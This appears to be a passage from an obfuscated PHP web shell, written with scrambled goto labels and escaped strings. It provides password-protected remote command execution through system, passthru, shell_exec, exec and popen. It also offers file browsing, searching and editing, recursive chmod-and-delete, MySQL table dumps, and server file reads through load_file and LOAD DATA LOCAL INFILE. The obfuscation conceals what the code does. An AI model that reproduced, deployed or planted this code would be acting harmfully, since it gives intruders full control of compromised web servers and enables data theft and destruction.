62\x79\x20\x6e\141\155\x65\x3a\x27\54\x20\x27\x27\51\73\15\xa\11\x69\146\x20\x28\41\156\145\x77\x64\x69\162\156\141\155\x65\51\40\x72\x65\164\x75\x72\x6e\73\xd\xa\x9\x24\50\x27\143\x72\145\141\164\x65\144\x69\162\47\x29\56\x6e\x65\167\x64\x69\x72\x6e\x61\155\145\56\166\141\154\165\145\x3d\x6e\145\167\144\151\162\156\x61\155\x65\x3b\xd\12\x9\44\x28\47\x63\x72\x65\141\164\145\x64\151\x72\47\x29\56\x73\x75\142\155\x69\x74\50\51\73\xd\xa\175\15\12\x66\165\x6e\x63\x74\x69\157\156\x20\x66\151\x6c\145\160\x65\x72\155\50\x70\146\151\154\145\x29\173\xd\xa\x9\x76\x61\162\40\156\x65\167\x70\145\x72\x6d\x3b\xd\12\x9\x6e\x65\x77\x70\x65\x72\x6d\40\75\x20\x70\162\x6f\x6d\160\164\x28\47\x43\x75\162\x72\x65\x6e\x74\40\x66\151\x6c\145\x3a\47\53\x70\x66\x69\154\145\53\47\x5c\156\x50\154\x65\141\163\x65\40\151\156\x70\165\164\40\156\x65\167\40\141\164\x74\x72\151\x62\165\x74\145\x3a\47\54\x20\47\47\51\73\15\xa\11\x69\x66\40\50\41\x6e\145\167\160\x65\x72\x6d\51\x20\162\x65\164\x75\x72\156\73\15\xa\11\44\50\47\146\x69\x6c\x65\x70\145\x72\x6d\x27\x29\x2e\x6e\145\167\160\x65\162\x6d\x2e\x76\141\x6c\165\145\75\156\x65\x77\x70\x65\x72\x6d\73\xd\12\x9\44\x28\47\x66\151\x6c\x65\x70\x65\162\x6d\47\x29\x2e\160\x66\151\x6c\x65\x2e\x76\141\154\165\x65\x3d\x70\x66\x69\154\x65\73\xd\12\x9\x24\x28\47\x66\x69\154\145\x70\x65\162\x6d\47\51\56\x73\165\142\155\151\x74\x28\51\x3b\15\12\175\xd\xa\146\x75\x6e\x63\x74\151\x6f\156\40\143\157\160\171\146\151\154\x65\50\163\156\141\x6d\145\51\173\xd\12\11\166\141\x72\x20\164\x6f\146\x69\x6c\145\x3b\xd\xa\x9\164\157\x66\151\154\145\x20\75\40\160\162\x6f\x6d\x70\164\x28\47\117\162\151\x67\151\156\141\154\40\146\x69\x6c\145\72\47\x2b\163\x6e\141\155\x65\x2b\47\134\x6e\x50\x6c\145\x61\x73\x65\40\x69\x6e\x70\165\164\x20\157\x62\x6a\145\143\164\x20\x66\151\x6c\x65\40\x28\x66\165\x6c\x6c\x70\x61\x74\150\x29\72\47\x2c\40\x27\x27\x29\x3b\15\xa\11\x69\146\x20\x28\x21\164\x6f\146\x69\x6c\145\x29\40\162\x65\164\165\x72\156\73\xd\12\11\44\50\x27\x63\x6f\x70\171\x66\x69\154\x65\x27\x29\x2e\164\157\146\151\x6c\145\56\166\141\x6c\165\145\x3d\164\157\x66\151\154\x65\73\xd\xa\x9\x24\50\47\x63\x6f\160\171\146\x69\154\x65\47\51\56\163\156\141\x6d\145\x2e\166\141\154\x75\145\75\163\x6e\x61\x6d\x65\x3b\xd\12\11\x24\x28\x27\x63\157\x70\x79\146\x69\x6c\145\x27\x29\x2e\x73\165\142\x6d\151\164\x28\51\x3b\xd\12\x7d\15\xa\146\x75\x6e\x63\x74\151\157\x6e\40\162\145\156\141\155\x65\x28\x6f\154\144\156\141\x6d\x65\51\173\xd\xa\11\x76\x61\x72\40\156\x65\x77\146\x69\154\x65\156\x61\155\145\x3b\15\12\11\156\145\x77\146\x69\154\x65\156\141\x6d\x65\40\x3d\x20\160\x72\157\155\x70\164\x28\x27\106\x6f\162\155\x65\162\x20\146\x69\x6c\x65\40\x6e\x61\155\145\72\x27\x2b\157\x6c\x64\156\141\x6d\145\53\x27\134\156\x50\154\x65\141\x73\x65\40\151\x6e\x70\165\164\x20\156\x65\167\x20\146\151\154\145\x6e\141\x6d\145\x3a\x27\x2c\x20\x27\x27\x29\73\15\12\11\151\146\x20\50\41\x6e\x65\167\x66\151\x6c\x65\x6e\x61\x6d\x65\51\40\x72\145\x74\x75\162\156\x3b\xd\xa\x9\x24\50\47\162\145\156\141\155\145\47\x29\x2e\x6e\145\167\146\x69\x6c\x65\x6e\x61\155\145\56\x76\141\154\165\145\75\x6e\x65\167\146\151\154\x65\156\141\155\x65\73\xd\12\x9\44\50\x27\162\145\156\141\x6d\x65\47\x29\x2e\x6f\154\144\156\x61\x6d\x65\56\166\x61\x6c\x75\x65\x3d\157\154\144\156\x61\x6d\145\x3b\15\xa\11\44\50\47\x72\145\x6e\x61\155\x65\47\51\x2e\163\x75\x62\155\151\164\x28\51\73\xd\xa\175\15\xa\146\165\156\143\x74\151\157\x6e\x20\144\157\x66\x69\154\145\x28\144\157\x69\x6e\147\x2c\164\150\145\146\151\154\x65\54\155\x29\173\xd\12\11\151\x66\40\50\x6d\x20\x26\46\40\x21\143\x6f\x6e\x66\151\162\x6d\x28\x6d\x29\x29\x20\x7b\xd\xa\11\x9\x72\145\164\x75\x72\156\x3b\xd\12\x9\175\15\xa\11\44\50\47\146\151\154\145\154\151\x73\164\x27\51\56\x64\157\151\156\147\56\166\141\x6c\165\145\x3d\144\157\x69\156\x67\x3b\xd\xa\11\151\x66\x20\x28\x74\x68\x65\x66\x69\154\145\51\x7b\15\xa\x9\11\44\50\47\146\x69\154\145\x6c\x69\x73\164\x27\51\56\x74\x68\145\x66\151\154\x65\x2e\166\141\154\165\x65\75\x74\x68\145\x66\151\x6c\145\x3b\xd\xa\11\175\15\12\11\x24\x28\x27\x66\x69\154\145\x6c\151\x73\164\x27\51\56\x73\165\x62\x6d\x69\x74\50\51\73\15\xa\175\xd\12\x66\x75\x6e\143\164\151\157\x6e\40\x63\x72\145\141\164\x65\146\151\154\145\x28\156\x6f\167\160\x61\164\x68\51\x7b\xd\12\x9\x76\x61\x72\x20\x66\x69\x6c\145\x6e\141\155\x65\73\xd\12\11\x66\151\x6c\145\156\x61\155\145\40\75\40\x70\x72\157\x6d\x70\x74\x28\47\x50\x6c\145\x61\x73\x65\x20\151\x6e\x70\165\164\40\164\150\x65\40\146\x69\154\x65\40\x6e\x61\x6d\145\x3a\47\x2c\40\x27\47\51\73\15\12\11\x69\146\40\x28\x21\x66\x69\154\145\x6e\141\155\145\x29\40\x72\145\164\x75\162\156\x3b\xd\12\11\157\160\x66\x69\x6c\x65\x28\x27\x65\144\x69\164\x66\x69\x6c\x65\47\54\x6e\x6f\167\160\141\x74\150\x20\x2b\40\146\x69\154\x65\156\141\x6d\x65\54\156\x6f\167\160\x61\x74\x68\x29\73\15\xa\x7d\15\12\146\165\156\143\164\x69\157\x6e\x20\157\160\146\x69\x6c\145\50\141\x63\164\x69\x6f\x6e\x2c\x6f\160\146\151\x6c\x65\x2c\x64\151\162\51\x7b\xd\xa\x9\x24\x28\47\146\x69\x6c\145\x6f\x70\146\157\x72\155\47\x29\56\x61\143\164\x69\x6f\156\56\166\x61\x6c\165\x65\x3d\141\x63\164\x69\x6f\x6e\73\15\xa\x9\44\x28\x27\146\x69\x6c\x65\x6f\x70\x66\x6f\162\x6d\47\x29\56\157\160\146\151\154\145\56\x76\x61\x6c\165\x65\x3d\x6f\x70\x66\151\x6c\145\73\15\12\x9\44\50\x27\146\x69\154\x65\x6f\160\146\157\x72\155\x27\51\x2e\x64\151\x72\x2e\x76\141\x6c\165\145\75\x64\151\162\x3b\15\12\11\x24\x28\x27\x66\x69\154\x65\157\x70\146\x6f\162\155\47\51\56\163\x75\142\x6d\151\164\50\51\73\xd\xa\175\15\xa\x66\165\x6e\x63\164\x69\157\156\x20\x67\x6f\x64\x69\x72\x28\x64\x69\162\x2c\x76\151\145\x77\x5f\167\162\x69\164\x61\x62\x6c\x65\x29\173\15\xa\x9\x69\x66\x20\50\166\151\x65\167\137\x77\x72\x69\x74\x61\142\x6c\x65\x29\40\x7b\15\12\x9\x9\x24\50\x27\x67\x6f\x64\151\162\47\51\56\x76\151\x65\x77\x5f\x77\x72\151\x74\x61\x62\154\145\56\x76\x61\154\x75\x65\75\x76\151\145\167\x5f\167\162\151\x74\x61\142\x6c\145\x3b\xd\xa\x9\175\15\xa\11\x24\50\x27\147\157\x64\151\x72\x27\51\x2e\144\x69\x72\56\x76\141\x6c\165\x65\x3d\x64\x69\162\x3b\xd\12\x9\44\50\x27\x67\157\144\x69\x72\47\51\x2e\x73\x75\142\x6d\x69\164\50\51\73\15\12\x7d\xd\12\x66\x75\156\x63\164\x69\x6f\156\x20\x67\145\x74\163\151\172\x65\x28\147\x65\164\x64\x69\162\x2c\144\151\x72\x29\173\xd\12\x9\x24\x28\x27\x67\145\164\x73\x69\x7a\x65\x27\51\56\147\145\x74\144\151\162\x2e\166\x61\154\165\x65\75\x67\x65\x74\144\151\162\x3b\15\12\x9\44\x28\47\x67\x65\164\x73\x69\172\145\x27\51\56\x64\151\162\56\x76\x61\x6c\x75\x65\x3d\x64\x69\x72\73\xd\12\x9\x24\50\47\147\145\x74\x73\151\x7a\145\47\51\x2e\163\165\x62\x6d\x69\164\50\51\73\15\12\x7d\xd\xa\146\165\156\x63\x74\151\157\x6e\x20\145\x64\x69\164\162\x65\x63\157\162\144\x28\141\143\164\x69\157\x6e\x2c\x20\x62\x61\163\x65\x36\64\x2c\40\x74\x61\142\x6c\x65\156\x61\x6d\145\51\x7b\xd\12\x9\x69\146\40\50\x61\x63\164\x69\157\156\x20\75\75\40\47\x64\x65\x6c\x27\51\40\x7b\x9\x9\15\xa\x9\x9\x69\146\40\50\41\x63\157\156\x66\x69\162\x6d\50\x27\x49\163\40\x6f\162\x20\x69\x73\156\134\x27\x74\40\144\x65\154\x65\164\x69\157\156\40\x72\x65\143\157\162\x64\77\x27\x29\51\x20\162\x65\x74\165\162\x6e\x3b\xd\xa\x9\175\15\xa\11\44\50\x27\x72\x65\x63\157\162\144\x6c\x69\163\x74\47\51\56\x64\x6f\151\x6e\147\56\166\x61\x6c\x75\145\x3d\141\143\164\x69\x6f\156\x3b\15\12\x9\44\50\47\162\145\x63\x6f\162\x64\154\151\x73\164\x27\51\x2e\142\141\163\x65\x36\64\x2e\166\141\x6c\x75\145\x3d\x62\141\x73\145\x36\x34\73\xd\12\11\x24\50\x27\162\x65\143\157\x72\144\154\x69\163\164\x27\x29\56\x74\x61\142\x6c\x65\x6e\141\155\145\x2e\166\141\x6c\x75\145\75\164\141\142\154\145\156\141\x6d\145\73\15\12\x9\44\x28\47\162\145\x63\157\162\144\x6c\x69\163\x74\47\x29\56\x73\x75\142\155\x69\x74\x28\x29\x3b\15\xa\175\xd\xa\x66\165\156\143\x74\x69\x6f\156\40\155\157\x64\x64\142\156\x61\155\x65\50\x64\142\x6e\x61\x6d\145\51\40\x7b\xd\12\11\151\146\50\x21\144\x62\156\141\155\x65\x29\x20\162\145\x74\165\162\x6e\x3b\15\xa\x9\44\x28\47\x73\x65\164\144\142\x6e\141\x6d\145\47\x29\x2e\x64\142\156\x61\155\145\56\x76\x61\x6c\x75\145\75\x64\x62\x6e\x61\155\x65\73\15\12\11\x24\50\x27\x73\145\164\144\x62\156\141\155\145\47\51\56\x73\165\x62\155\151\164\x28\x29\x3b\xd\12\175\15\12\146\x75\x6e\x63\164\151\157\x6e\x20\x73\145\x74\x74\x61\x62\154\145\x28\x74\141\x62\x6c\145\156\141\155\x65\x2c\144\157\x69\156\147\x2c\160\x61\x67\145\x29\x20\173\15\xa\11\151\x66\50\x21\164\x61\142\154\x65\x6e\141\155\x65\x29\40\x72\x65\x74\x75\162\x6e\x3b\xd\12\x9\151\146\x20\50\144\157\151\x6e\x67\x29\40\x7b\xd\xa\11\x9\44\50\47\163\145\x74\x74\141\142\x6c\145\x27\51\x2e\x64\x6f\151\x6e\147\56\x76\141\154\x75\x65\x3d\144\x6f\x69\x6e\x67\x3b\15\12\11\x7d\15\xa\x9\151\146\x20\50\x70\141\x67\x65\51\x20\173\xd\12\11\x9\44\x28\47\163\x65\x74\x74\141\x62\154\x65\x27\51\x2e\160\141\x67\x65\56\166\x61\154\x75\x65\75\x70\141\147\145\73\xd\xa\11\x7d\xd\xa\11\44\50\x27\163\145\x74\x74\x61\142\154\x65\x27\x29\56\x74\141\x62\154\145\x6e\x61\x6d\145\56\166\x61\154\165\145\75\164\141\142\154\145\x6e\141\x6d\x65\73\15\xa\x9\44\50\47\163\145\x74\x74\x61\142\x6c\x65\x27\51\56\x73\165\x62\x6d\x69\164\x28\x29\x3b\15\xa\x7d\xd\xa\146\x75\x6e\143\x74\151\157\156\x20\x73\50\141\143\x74\151\157\156\x2c\156\x6f\x77\160\141\x74\150\54\160\61\54\160\62\54\x70\63\x2c\160\64\x2c\160\65\x29\x20\173\15\12\11\x69\x66\50\x61\143\x74\x69\x6f\156\x29\x20\44\50\x27\157\x70\x66\157\x72\155\x27\x29\56\x61\143\164\151\x6f\x6e\56\x76\x61\154\165\145\75\141\143\164\151\157\156\73\15\12\x9\151\x66\x28\x6e\157\x77\160\141\x74\150\51\40\44\50\x27\x6f\160\146\157\162\x6d\47\51\56\x6e\x6f\167\x70\141\164\150\x2e\166\x61\154\x75\145\75\156\x6f\x77\x70\141\x74\x68\73\15\12\11\x69\x66\50\x70\61\51\40\x24\50\x27\157\x70\146\157\162\155\x27\51\56\160\x31\x2e\166\141\x6c\165\x65\75\x70\61\73\xd\xa\x9\x69\146\x28\x70\62\x29\x20\x24\x28\x27\x6f\160\x66\x6f\x72\155\47\x29\x2e\160\x32\56\x76\141\x6c\165\145\75\x70\x32\x3b\xd\xa\11\151\146\50\x70\63\51\x20\44\x28\x27\157\x70\146\x6f\x72\x6d\47\51\x2e\160\63\56\x76\x61\x6c\165\x65\75\160\63\73\xd\12\11\151\146\50\160\x34\51\40\x24\x28\x27\x6f\x70\x66\x6f\x72\x6d\47\51\x2e\x70\64\x2e\166\x61\x6c\165\x65\x3d\160\x34\x3b\xd\xa\11\151\146\x28\x70\65\x29\40\x24\50\47\x6f\160\146\x6f\x72\155\x27\51\56\160\64\x2e\x76\x61\x6c\165\x65\75\x70\65\x3b\15\12\x7d\xd\xa\146\165\x6e\x63\164\151\x6f\x6e\x20\x67\x28\141\143\x74\151\157\x6e\54\156\x6f\167\x70\141\164\x68\54\x70\x31\54\x70\x32\x2c\x70\63\54\160\x34\54\160\65\x29\x20\x7b\xd\xa\11\x69\146\x28\41\141\143\164\151\157\156\51\40\162\x65\x74\x75\x72\x6e\x3b\15\12\11\163\50\141\x63\x74\x69\157\156\54\156\x6f\x77\160\141\164\150\x2c\160\61\54\x70\62\54\160\x33\54\x70\64\x2c\x70\65\x29\73\xd\xa\x9\44\50\x27\x6f\160\146\x6f\162\155\47\x29\x2e\x73\165\x62\155\151\x74\x28\51\x3b\15\xa\x7d\15\12\74\57\x73\x63\x72\x69\160\164\x3e\xd\12\x3c\57\x68\x65\141\x64\x3e\15\xa\74\142\157\x64\x79\40\x73\x74\x79\154\x65\x3d\x22\155\x61\x72\x67\x69\x6e\x3a\x30\x3b\x74\x61\142\154\145\x2d\x6c\x61\171\157\165\164\x3a\x66\x69\170\x65\x64\73\x20\x77\x6f\x72\x64\x2d\142\x72\145\141\153\x3a\x62\162\145\141\153\x2d\141\x6c\154\42\76\xd\12"; goto i2UzA; oWcz9: if ($action == "\x70\x68\160\151\x6e\146\157") { if (IS_PHPINFO) { phpinfo(); exit; } else { $errmsg = "\x70\x68\x70\x69\156\146\x6f\x28\x29\x20\x66\x75\x6e\143\x74\151\x6f\156\40\x68\141\163\x20\156\157\156\55\160\x65\162\x6d\x69\x73\163\151\142\x6c\145"; } } goto HWME1; E0D6b: define("\x49\x53\137\x50\110\x50\x49\x4e\x46\x4f", !@strstr("\x70\x68\x70\151\156\x66\x6f", $dis_func) ? 1 : 0); goto UZoFL; gM5lH: foreach ($_POST as $key => $value) { if (IS_GPC) { $value = s_array($value); } ${$key} = $value; } goto h7Q_j; T28a3: if ($pass) { if ($action == "\154\x6f\147\x69\x6e") { if ($pass == encode_pass($password)) { goto aN9wM; EIVoz: @header("\114\157\x63\141\164\151\157\156\x3a\40" . $self); goto V8S2H; V8S2H: exit; goto yzPby; aN9wM: scookie("\154\x6f\147\x69\156\x70\x61\x73\163", encode_pass($password)); goto EIVoz; yzPby: } } if ($_COOKIE["\x6c\157\147\151\x6e\x70\141\163\x73"]) { if ($_COOKIE["\x6c\157\x67\151\156\160\141\x73\163"] != $pass) { loginpage(); } } else { loginpage(); } } goto SxZQX; VWZJE: echo "\x20\x2f\x20\x55\x73\145\x72\x3a"; goto Skydd; QTUD0: function GetSFileList($dir, $content, $re = 0) { goto b0jy5; M0iHo: if ($dh = opendir($dir)) { goto TngVW; nI0yg: clearstatcache(); goto KpKsj; KpKsj: return $filedata; goto ioVXj; TngVW: while ($file = readdir($dh)) { $ext = getext($file); $f = str_replace("\57\x2f", "\57", $dir . "\57" . $file); if ($file != "\56" && $file != "\56\x2e" && is_dir($f)) { GetSFileList($f, $content, $re = 0); } elseif ($file != "\56" && $file != "\56\x2e" && is_file($f) && in_array($ext, explode("\x2c", $writabledb))) { goto gBpdU; gBpdU: $find = 0; goto gOoRe; znsmj: if ($find) { goto GY3xF; wLt7Z: $filedata[$j]["\x66\x69\x6c\x65\143\x68\x6d\x6f\144"] = getChmod($f); goto W1WIn; K5zku: $filedata[$j]["\146\151\x6c\145\157\167\x6e\145\x72"] = getUser($f); goto y1nEM; SZ4dy: $j++; goto D8HOB; W1WIn: $filedata[$j]["\146\x69\x6c\145\160\145\162\155"] = getPerms($f); goto K5zku; GY3xF: $filedata[$j]["\x66\151\154\x65\x6e\141\x6d\x65"] = str_replace($nowpath, '', $f); goto AXVPm; y1nEM: $filedata[$j]["\x64\x69\x72\154\151\156\153"] = $dir; goto sYZeV; AXVPm: $filedata[$j]["\x73\151\x7a\145"] = sizecount(@filesize($f)); goto rzYf_; sYZeV: $filedata[$j]["\163\x65\162\x76\145\x72\x5f\154\x69\x6e\x6b"] = $f; goto SZ4dy; rzYf_: $filedata[$j]["\155\x74\x69\x6d\145"] = @date("\131\x2d\155\x2d\x64\x20\110\72\151\72\163", filemtime($f)); goto wLt7Z; D8HOB: } goto gr4ys; gOoRe: if ($re) { if (preg_match("\100" . $content . "\x40", $file) || preg_match("\x40" . $content . "\100", @file_get_contents($f))) { $find = 1; } } else { if (strstr($file, $content) || strstr(@file_get_contents($f), $content)) { $find = 1; } } goto znsmj; gr4ys: } } goto eYmMr; eYmMr: closedir($dh); goto nI0yg; ioVXj: } else { return array(); } goto NRn5y; lFYWG: !$j && ($j = 1); goto M0iHo; b0jy5: global $filedata, $j, $nowpath, $writabledb; goto lFYWG; NRn5y: } goto j0GbK; ZcQq_: makehide("\x70\64", $p4); goto JN4kK; og4wu: function getcfg($varname) { $result = get_cfg_var($varname); if ($result == 0) { return "\x4e\x6f"; } elseif ($result == 1) { return "\x59\145\x73"; } else { return $result; } } goto fsTdj; WBWIb: function html_clean($content) { goto SB1EO; STqzO: return $content; goto lOJoV; uentb: $content = str_replace("\x20\x20", "\x26\156\142\163\x70\x3b\46\156\142\163\160\x3b", $content); goto EJLhP; SB1EO: $content = htmlspecialchars($content); goto oydu5; oydu5: $content = str_replace("\xa", "\74\142\162\40\57\x3e", $content); goto uentb; EJLhP: $content = str_replace("\x9", "\46\156\x62\x73\160\73\x26\156\142\x73\x70\x3b\46\x6e\x62\x73\160\x3b\46\x6e\142\x73\160\73", $content); goto STqzO; lOJoV: } goto VD0dN; W9J2j: echo gethostbyname($_SERVER["\123\105\x52\126\x45\x52\x5f\x4e\x41\x4d\x45"]); goto h9NPw; WhiZy: $self = $_SERVER["\x50\x48\120\137\123\x45\114\106"] ? $_SERVER["\120\x48\120\x5f\x53\x45\114\106"] : $_SERVER["\123\x43\122\111\120\124\137\116\x41\115\x45"]; goto goORx; Ru23_: define("\x53\101\137\x52\117\117\x54", str_replace("\134", "\x2f", dirname(__FILE__)) . "\x2f"); goto xJ93P; ACKvL: if ($doing == "\x6d\x79\163\161\x6c\x64\157\x77\x6e") { if (!$dbname) { $errmsg = "\120\x6c\145\141\163\x65\40\x69\156\160\165\x74\x20\x64\x62\x6e\141\x6d\x65"; } else { $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if (!file_exists($mysqldlfile)) { $errmsg = "\124\x68\145\x20\x66\151\x6c\145\40\x79\x6f\165\40\x77\x61\156\x74\x20\x44\157\x77\x6e\154\x6f\141\144\x61\142\154\145\x20\x77\141\163\x20\156\x6f\x6e\x65\x78\x69\163\164\145\156\x74"; } else { goto LWFPE; LWFPE: $result = q("\x73\145\x6c\145\x63\164\x20\154\x6f\141\144\137\x66\151\x6c\145\50\x27{$mysqldlfile}\x27\x29\73"); goto YtkCr; OOFWT: $row = @mysql_fetch_array($result); goto tpxYl; tpxYl: if (!$row) { $errmsg = "\x4c\157\141\144\x20\x66\151\154\x65\x20\x66\x61\x69\154\145\x64\40" . mysql_error(); } else { goto lB8pA; sBegJ: echo $row[0]; goto ERxsi; PNs4k: header("\103\157\156\x74\x65\x6e\164\x2d\104\x69\x73\160\x6f\x73\151\x74\x69\157\x6e\x3a\x20\x61\x74\x74\141\143\x68\155\145\x6e\x74\x3b\x20\x66\x69\154\x65\x6e\141\x6d\x65\x3d" . $fileinfo["\x62\141\x73\x65\x6e\141\x6d\x65"]); goto ZDItk; IdAfH: header("\103\x6f\x6e\x74\x65\156\x74\55\164\x79\x70\145\72\x20\x61\x70\160\154\x69\143\141\164\151\x6f\156\x2f\170\55" . $fileinfo["\x65\x78\164\145\156\163\x69\x6f\x6e"]); goto PNs4k; ZDItk: header("\101\143\143\145\x70\164\x2d\x4c\145\156\x67\164\x68\72\40" . strlen($row[0])); goto sBegJ; lB8pA: $fileinfo = pathinfo($mysqldlfile); goto IdAfH; ERxsi: exit; goto AEhyz; AEhyz: } goto k7MW5; YtkCr: if (!$result) { goto Fs4WZ; Fs4WZ: q("\104\122\x4f\x50\x20\124\x41\102\x4c\105\x20\111\x46\x20\105\130\x49\x53\124\x53\40\x74\x6d\x70\137\141\156\147\x65\x6c\73"); goto FL3Qn; uCpSY: q("\x4c\x4f\x41\104\40\x44\101\x54\x41\x20\114\x4f\103\101\x4c\40\111\116\x46\x49\x4c\x45\x20\47" . addslashes($mysqldlfile) . "\47\x20\x49\116\x54\117\40\x54\101\102\114\x45\40\x74\155\x70\137\x61\156\x67\145\154\40\x46\111\105\114\104\123\40\x54\105\x52\115\x49\x4e\x41\x54\105\x44\40\102\x59\40\x27\137\x5f\141\156\x67\x65\x6c\137{$timestamp}\x5f\145\157\146\x5f\137\x27\x20\x45\123\x43\101\120\x45\x44\40\x42\131\x20\x27\47\40\x4c\111\x4e\105\123\x20\x54\105\122\x4d\x49\x4e\x41\124\105\x44\x20\102\x59\40\47\x5f\137\x61\x6e\x67\x65\154\x5f{$timestamp}\x5f\145\157\146\137\x5f\47\x3b"); goto jReDQ; jReDQ: $result = q("\x73\x65\x6c\x65\x63\x74\40\143\x6f\x6e\x74\145\x6e\x74\40\x66\x72\x6f\155\x20\164\155\160\x5f\x61\x6e\147\145\x6c"); goto mbZPq; mbZPq: q("\x44\122\117\x50\x20\x54\x41\102\x4c\105\x20\164\x6d\160\x5f\x61\x6e\147\145\x6c"); goto Lxj3G; FL3Qn: q("\103\122\x45\101\x54\105\x20\x54\x41\102\114\105\40\164\155\x70\x5f\141\156\x67\x65\x6c\40\50\x63\157\156\164\145\x6e\x74\x20\x4c\117\116\x47\102\114\x4f\x42\x20\116\117\124\x20\x4e\x55\x4c\114\51\x3b"); goto uCpSY; Lxj3G: } goto OOFWT; k7MW5: } } } goto JPugn; l0u5J: function sizecount($fileSize) { goto Kldnc; wUOud: if ($size == 0) { return "\60\x20\x42\x79\164\145\x73"; } goto bMj2k; bMj2k: $sizename = array("\x20\x42\x79\164\145\x73", "\40\113\102", "\x20\x4d\x42", "\x20\x47\x42", "\x20\x54\x42", "\40\x50\102", "\40\x45\x42", "\40\132\x42", "\40\131\102"); goto V36ZS; Kldnc: $size = sprintf("\x25\x75", $fileSize); goto wUOud; V36ZS: return round($size / pow(1024, $i = floor(log($size, 1024))), 2) . $sizename[$i]; goto iij4s; iij4s: } goto Lvqxt; fsTdj: function getfun($funName) { return false !== function_exists($funName) ? "\x59\145\163" : "\x4e\157"; } goto Bmyw1; OsgVi: function getUpPath($nowpath) { goto vRvmz; JrF5M: $num = count($pathdb); goto QMfem; Py_OW: return $uppath; goto n38pt; fuAKn: $uppath = str_replace("\57\x2f", "\57", $uppath); goto Py_OW; Qz1Ys: $uppath = implode("\57", $pathdb) . "\57"; goto fuAKn; vRvmz: $pathdb = explode("\x2f", $nowpath); goto JrF5M; QMfem: if ($num > 2) { unset($pathdb[$num - 1], $pathdb[$num - 2]); } goto Qz1Ys; n38pt: } goto og4wu; xguyB: if (substr($dir, -1) != "\x2f") { $dir = $dir . "\x2f"; } goto WxyVb; PulRb: makehide("\x70\61", $p1); goto kXTJl; JN4kK: makehide("\x70\x35", $p5); goto TuzlJ; KFN0U: function deltree($deldir) { goto EI_xd; EI_xd: $mydir = @dir($deldir); goto Q9Fsv; HEXV2: return @rmdir($deldir) ? 1 : 0; goto YGcMk; Q9Fsv: while ($file = $mydir->read()) { if (is_dir($deldir . "\x2f" . $file) && $file != "\x2e" && $file != "\56\56") { @chmod($deldir . "\x2f" . $file, 0777); deltree($deldir . "\57" . $file); } if (is_file($deldir . "\57" . $file)) { @chmod($deldir . "\57" . $file, 0777); @unlink($deldir . "\57" . $file); } } goto wuKcD; RhlOs: @chmod($deldir, 0777); goto HEXV2; wuKcD: $mydir->close(); goto RhlOs; YGcMk: } goto AadOe; gz_Gs: function execute($cfe) { goto XU904; Ac8WG: return $res; goto bnEEJ; XU904: $res = ''; goto JqbgY; JqbgY: if ($cfe) { if (function_exists("\163\x79\163\164\x65\x6d")) { goto LpK0f; LJzhv: @system($cfe); goto FaOl_; FaOl_: $res = @ob_get_contents(); goto AmoAv; AmoAv: @ob_end_clean(); goto LFnP0; LpK0f: @ob_start(); goto LJzhv; LFnP0: } elseif (function_exists("\x70\141\163\163\x74\150\162\165")) { goto FaLSx; ADNJF: $res = @ob_get_contents(); goto Iy_8t; FaLSx: @ob_start(); goto Df5Lq; Iy_8t: @ob_end_clean(); goto gmmBC; Df5Lq: @passthru($cfe); goto ADNJF; gmmBC: } elseif (function_exists("\163\x68\x65\154\x6c\137\x65\x78\145\143")) { $res = @shell_exec($cfe); } elseif (function_exists("\145\x78\145\x63")) { @exec($cfe, $res); $res = join("\xa", $res); } elseif (@is_resource($f = @popen($cfe, "\162"))) { goto yPDKN; XgtsJ: @pclose($f); goto gPzTS; eXGPJ: while (!@feof($f)) { $res .= @fread($f, 1024); } goto XgtsJ; yPDKN: $res = ''; goto eXGPJ; gPzTS: } } goto Ac8WG; bnEEJ: } goto sRW0t; k8a7w: makehide("\x61\143\x74\151\x6f\156", $action); goto SOZhK; EGjLI: function getPath($scriptpath, $nowpath) { goto Vog0k; eEqX9: $nowpath = str_replace("\x5c", "\57", $nowpath); goto BaK9m; BaK9m: $nowpath = str_replace("\x2f\57", "\57", $nowpath); goto hVbhT; Vog0k: if ($nowpath == "\56") { $nowpath = $scriptpath; } goto eEqX9; CRZf6: return $nowpath; goto YwQNW; hVbhT: if (substr($nowpath, -1) != "\57") { $nowpath = $nowpath . "\57"; } goto CRZf6; YwQNW: } goto OsgVi; DnHSi: if ($doing == "\x62\x61\143\x6b\165\160\x6d\x79\x73\161\x6c" && !$saveasfile) { if (!$table) { $errmsg = "\x50\x6c\145\x61\x73\x65\x20\x63\150\x6f\157\163\x65\x20\x74\x68\145\x20\x74\141\142\x6c\x65"; } else { goto vsFHu; UiE_t: exit; goto lE7XD; Y_Jgk: foreach ($table as $k => $v) { if ($v) { sqldumptable($v); } } goto JYfhM; RK8ne: header("\103\x6f\x6e\x74\145\156\x74\x2d\104\x69\163\x70\157\163\151\x74\x69\x6f\x6e\72\40\x61\x74\164\141\x63\150\x6d\145\156\164\x3b\40\146\x69\154\145\x6e\x61\x6d\x65\75" . $filename); goto Y_Jgk; JYfhM: mysql_close(); goto UiE_t; FOKuP: header("\103\x6f\x6e\x74\x65\156\x74\x2d\164\x79\x70\145\x3a\40\141\x70\x70\x6c\x69\x63\141\x74\151\x6f\x6e\x2f\165\156\x6b\156\157\x77\x6e"); goto RK8ne; vsFHu: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto AFbvF; AFbvF: $filename = basename($dbname . "\56\163\161\154"); goto FOKuP; lE7XD: } } goto ACKvL; sGaK7: function goback() { global $self, $nowpath; p("\74\146\x6f\162\x6d\x20\141\143\x74\x69\157\156\75\42" . $self . "\42\x20\x6d\x65\164\x68\157\144\x3d\42\x70\x6f\x73\x74\42\x3e\x3c\151\x6e\x70\x75\164\40\164\x79\160\x65\75\x22\x68\x69\144\144\x65\156\42\40\x6e\141\155\145\75\x22\x61\143\164\x69\157\x6e\42\x20\166\141\154\165\145\x3d\x22\146\x69\x6c\145\x22\40\57\76\x3c\x69\x6e\x70\x75\164\x20\x74\x79\160\x65\x3d\42\x68\151\x64\x64\x65\156\42\40\x6e\141\155\145\75\x22\x64\151\x72\x22\40\166\x61\x6c\165\x65\x3d\42" . $nowpath . "\x22\x20\57\x3e\74\160\76\x3c\x69\x6e\160\x75\164\x20\143\154\x61\x73\x73\x3d\42\x62\x74\42\40\x74\171\x70\x65\x3d\42\x73\165\142\155\151\x74\x22\40\x76\x61\x6c\165\x65\x3d\42\x47\157\40\142\x61\143\153\x2e\56\x2e\x22\x3e\x3c\x2f\x70\76\x3c\57\x66\157\x72\x6d\x3e"); } goto ILhrk; BS5Oz: function secparam($n, $v) { $v = trim($v); if 